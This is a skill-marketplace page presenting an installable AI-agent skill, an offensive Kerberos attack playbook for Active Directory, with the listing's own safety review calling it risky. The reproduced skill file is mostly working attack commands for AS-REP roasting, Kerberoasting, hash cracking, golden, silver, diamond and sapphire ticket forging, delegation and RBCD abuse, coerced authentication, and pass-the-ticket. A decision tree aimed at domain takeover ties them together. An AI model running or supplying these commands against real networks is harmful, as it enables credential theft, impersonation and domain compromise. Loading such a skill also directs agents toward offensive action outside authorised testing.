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active-directory-kerberos-attacks

Kerberos attack playbook for Active Directory

Install / Use

npx skills add yaklang/hack-skills --skill active-directory-kerberos-attacks

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

86/100

Supported Platforms

Universal

Tags

Our assessment of active-directory-kerberos-attacks

active-directory-kerberos-attacks scores 86/100 on our quality scale, 2374th of 4,698 Development & Engineering skills we index.

Its SKILL.md is 10.0 KB long, well organised into 61 sections with 15 code examples: a thorough specification that gives an agent plenty to work with.

With 2,288 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
29/30
Structure
20/20
Description
8/15
Adoption
14/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated about 2 months ago, so active-directory-kerberos-attacks is actively maintained.
  • Our last check on 2026-11-03 found the source still online.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

Safety scan

Review

Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): The file instructs the agent to execute offensive Active Directory attacks such as AS-REP roasting, Kerberoasting, golden/silver/diamond/sapphire ticket forging, and delegation abuse using Impacket, Rubeus, and Mimikatz.

AI review: risky

  • The file instructs the agent to execute offensive Active Directory attacks such as AS-REP roasting, Kerberoasting, golden/silver/diamond/sapphire ticket forging, and delegation abuse using Impacket, Rubeus, and Mimikatz.
  • It directs the agent to steal or forge credentials and tickets (e.g., capture DC TGTs, DCSync, forge TGTs with krbtgt hash, overpass-the-hash) to impersonate users and escalate privileges.
  • It includes evasion techniques like diamond/sapphire tickets and RBCD to hide malicious access, and chains with other attack skills for persistence and lateral movement.

AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-10-01. Automated pattern scan on 2026-10-01. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.

active-directory-kerberos-attacks compared with similar skills

All 4 of these similar skills score higher than active-directory-kerberos-attacks; compare them before choosing.

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active-directory-kerberos-attacks (this skill)by yaklang862.3k2mo agoSKILL.md
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Frequently asked questions

How do I install active-directory-kerberos-attacks?
Run npx skills add yaklang/hack-skills --skill active-directory-kerberos-attacks. The install tabs above show the steps for each supported agent.
Which AI agents does active-directory-kerberos-attacks work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is active-directory-kerberos-attacks safe to use?
Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): The file instructs the agent to execute offensive Active Directory attacks such as AS-REP roasting, Kerberoasting, golden/silver/diamond/sapphire ticket forging, and delegation abuse using Impacket, Rubeus, and Mimikatz. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is active-directory-kerberos-attacks still maintained?
The repository was last updated about 2 months ago, so active-directory-kerberos-attacks is actively maintained.

name: active-directory-kerberos-attacks description: >- Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.

SKILL: Kerberos Attack Playbook — Expert AD Attack Guide

AI LOAD INSTRUCTION: Expert Kerberos attack techniques for AD environments. Covers AS-REP roasting, Kerberoasting, golden/silver/diamond/sapphire tickets, delegation attacks, pass-the-ticket, and overpass-the-hash. Base models miss ticket type distinctions, delegation chain nuances, and detection-evasion trade-offs.

0. RELATED ROUTING

Before going deep, consider loading:

Advanced Reference

Also load KERBEROS_ATTACK_CHAINS.md when you need:

  • Multi-step attack chains combining Kerberos with ACL abuse, ADCS, and relay
  • End-to-end scenarios from foothold to domain admin
  • Chained delegation attack flows

1. KERBEROS AUTHENTICATION PRIMER

Client              KDC (DC)              Service
  │                   │                     │
  │── AS-REQ ────────→│                     │  (1) Request TGT with user creds
  │←─ AS-REP ─────────│                     │  (2) Receive TGT (encrypted with krbtgt hash)
  │                   │                     │
  │── TGS-REQ ───────→│                     │  (3) Present TGT, request service ticket
  │←─ TGS-REP ────────│                     │  (4) Receive TGS (encrypted with service hash)
  │                   │                     │
  │── AP-REQ ─────────────────────────────→│  (5) Present TGS to service
  │←─ AP-REP ──────────────────────────────│  (6) Mutual auth (optional)

2. AS-REP ROASTING

Users with "Do not require Kerberos preauthentication" can be queried for AS-REP without knowing their password.

Enumerate Vulnerable Users

# Impacket — from Linux
GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP -format hashcat -outputfile asrep.txt

# Impacket — with domain creds (enumerate automatically)
GetNPUsers.py DOMAIN/user:password -dc-ip DC_IP -request

# Rubeus — from Windows (domain-joined)
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt

# PowerView — enumerate users
Get-DomainUser -PreauthNotRequired | Select-Object samaccountname

Crack AS-REP Hash

# Hashcat mode 18200
hashcat -m 18200 asrep.txt rockyou.txt --rules-file best64.rule

# John
john asrep.txt --wordlist=rockyou.txt

3. KERBEROASTING

Any domain user can request TGS for accounts with SPNs. The TGS is encrypted with the service account's NTLM hash.

Request Service Tickets

# Impacket
GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request -outputfile tgs.txt

# Rubeus (from Windows)
Rubeus.exe kerberoast /outfile:tgs.txt

# Rubeus — target specific SPN / high-value accounts
Rubeus.exe kerberoast /user:svc_sql /outfile:tgs_sql.txt

# PowerView + manual request
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/db.domain.com"

Crack TGS Hash

# Hashcat mode 13100 (RC4) or 19700 (AES)
hashcat -m 13100 tgs.txt rockyou.txt --rules-file best64.rule

# RC4 tickets crack much faster than AES256 — target RC4 if possible
# Rubeus: /tgtdeleg forces RC4 on some configs
Rubeus.exe kerberoast /tgtdeleg

4. TICKET FORGING — GOLDEN, SILVER, DIAMOND, SAPPHIRE

Golden Ticket

Forge TGT using the krbtgt hash → impersonate any user, including non-existent ones.

# Impacket — forge golden ticket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM administrator

# Mimikatz
kerberos::golden /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /krbtgt:KRBTGT_HASH /ptt

# Rubeus
Rubeus.exe golden /rc4:KRBTGT_HASH /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /ptt

Prerequisites: krbtgt NTLM hash (from DCSync or NTDS.dit) Persistence: Valid until krbtgt password is changed twice

Silver Ticket

Forge TGS using the service account's hash → access specific service only, no KDC interaction.

# Impacket — forge silver ticket for CIFS (file share)
ticketer.py -nthash SERVICE_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM -spn cifs/target.domain.com administrator

# Mimikatz
kerberos::golden /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /target:target.domain.com /service:cifs /rc4:SERVICE_HASH /ptt

| Target Service | SPN Format | Use Case | |---|---|---| | File shares | cifs/host | Access SMB shares | | WinRM | http/host | Remote PowerShell | | LDAP | ldap/dc | DCSync-like queries | | MSSQL | MSSQLSvc/host:1433 | Database access | | Exchange | http/mail.domain.com | Mailbox access |

Diamond Ticket

Modify a legitimately issued TGT → harder to detect than golden ticket.

# Rubeus — request real TGT then modify PAC
Rubeus.exe diamond /krbkey:KRBTGT_AES256 /user:administrator /domain:DOMAIN.COM /dc:DC01.DOMAIN.COM /ticketuser:targetadmin /ticketuserid:500 /groups:512 /ptt

Advantage: The ticket's metadata (timestamps, enc type) matches a real TGT issuance.

Sapphire Ticket

Uses S4U2Self to get a real PAC for the target user, then embeds it in a forged ticket.

# Rubeus
Rubeus.exe diamond /krbkey:KRBTGT_AES256 /ticketuser:administrator /ticketuserid:500 /groups:512 /tgtdeleg /ptt

Advantage: PAC is a genuine copy from KDC, making detection extremely difficult.


5. DELEGATION ATTACKS

Unconstrained Delegation

Hosts with unconstrained delegation store user TGTs in memory.

# Enumerate (PowerView)
Get-DomainComputer -Unconstrained | Select-Object dnshostname

# Coerce admin authentication → capture TGT (Rubeus monitor mode)
Rubeus.exe monitor /interval:5 /nowrap

# Trigger via PrinterBug / PetitPotam → DC authenticates → TGT captured
SpoolSample.exe DC01.domain.com COMPROMISED_HOST.domain.com

Constrained Delegation (S4U2Proxy)

# Enumerate
Get-DomainComputer -TrustedToAuth | Select-Object dnshostname,msds-allowedtodelegateto

# S4U2Self + S4U2Proxy → get TGS for allowed service as any user
getST.py -spn cifs/target.domain.com -impersonate administrator DOMAIN/svc_account:password -dc-ip DC_IP

# Rubeus
Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:administrator /msdsspn:cifs/target.domain.com /ptt

Resource-Based Constrained Delegation (RBCD)

Requires write access to msDS-AllowedToActOnBehalfOfOtherIdentity on the target.

# 1. Create or control a computer account (MAQ > 0)
addcomputer.py -computer-name 'FAKE$' -computer-pass 'P@ss123' -dc-ip DC_IP DOMAIN/user:password

# 2. Set RBCD on target
rbcd.py -delegate-from 'FAKE$' -delegate-to 'TARGET$' -dc-ip DC_IP -action write DOMAIN/user:password

# 3. S4U2Self + S4U2Proxy from controlled account
getST.py -spn cifs/TARGET.DOMAIN.COM -impersonate administrator DOMAIN/'FAKE$':'P@ss123' -dc-ip DC_IP

# 4. Use the ticket
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass DOMAIN/administrator@TARGET.DOMAIN.COM

6. PASS-THE-TICKET & OVERPASS-THE-HASH

Pass-the-Ticket

# Impacket — use .ccache ticket
export KRB5CCNAME=/path/to/ticket.ccache
psexec.py -k -no-pass DOMAIN/administrator@target.domain.com

# Mimikatz — inject .kirbi ticket into session
kerberos::ptt ticket.kirbi

# Rubeus
Rubeus.exe ptt /ticket:base64_ticket_blob

Overpass-the-Hash (Pass-the-Key)

Use NTLM hash to request a Kerberos TGT → pure Kerberos authentication (avoids NTLM logging).

# Impacket
getTGT.py DOMAIN/user -hashes :NTLM_HASH -dc-ip DC_IP
export KRB5CCNAME=user.ccache

# Rubeus (from Windows)
Rubeus.exe asktgt /user:administrator /rc4:NTLM_HASH /ptt

# Mimikatz
sekurlsa::pth /user:administrator /domain:DOMAIN.COM /ntlm:NTLM_HASH /run:cmd.exe

7. KERBEROS DOUBLE HOP PROBLEM

When authenticating via Kerberos across two hops (A → B → C), B cannot forward A's credentials to C by default.

Solutions

| Method | How | Risk | |---|---|---| | CredSSP | Sends actual credentials to B | Credential exposure | | Unconstrained delegation on B | B stores A's TGT | Over-privileged | | Constrained delegation | B allowed to delegate to C | Preferred — scoped | | RBCD | C trusts B to delegate | Modern, flexible | | Invoke-Command nested | -Credential param in nested session | Exposes password in script |


8. KERBEROS ATTACK DECISION TREE

AD environment — targeting Kerberos
│
├── Have domain user creds?
│   ├── Kerberoast → crack service account hashes (§3)
│   ├── Enumerate users without preauth → AS-REP roast (§2)
│   ├── Enumerate delegation → unconstrained/constrained/RBCD (§5)
│   └── Enumerate SPNs for high-value accounts
│
├── Have service account hash?
│   ├── Silver ticket for that service (§4)
│   └── If constrained delegation → S4U2Proxy chain (§5)
│
├── Have krbtgt hash?
│   ├── Golden ticket → any user, any service (§4)
│   ├── Diamond ticket → stealthier forging (§4)
│   └── Sapphire ticket → hardest to detect (§4)
│
├── Compromised host with unconstrained delegation?
│   ├── Monitor for incoming TGTs (Rubeus monitor)
│   ├── Coerce DC authentication (PrinterBug/PetitPotam)
│   └── Capture DC TGT → DCSync
│
├── Can write to target's msDS-AllowedToActOnBehalfOfOtherIdentity?
│   └── RBCD attack (§5) → create machine account + delegate
│
├── Have NTLM hash but need Kerberos auth?
│   └── Overpass-the-Hash → request TGT (§6)
│
└── Have .kirbi / .ccache ticket?
    └── Pass-the-Ticket → use directly (§6)

Related Skills

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GitHub Stars2.3k
CategoryDevelopment
Updated2mo ago
Forks303

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Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions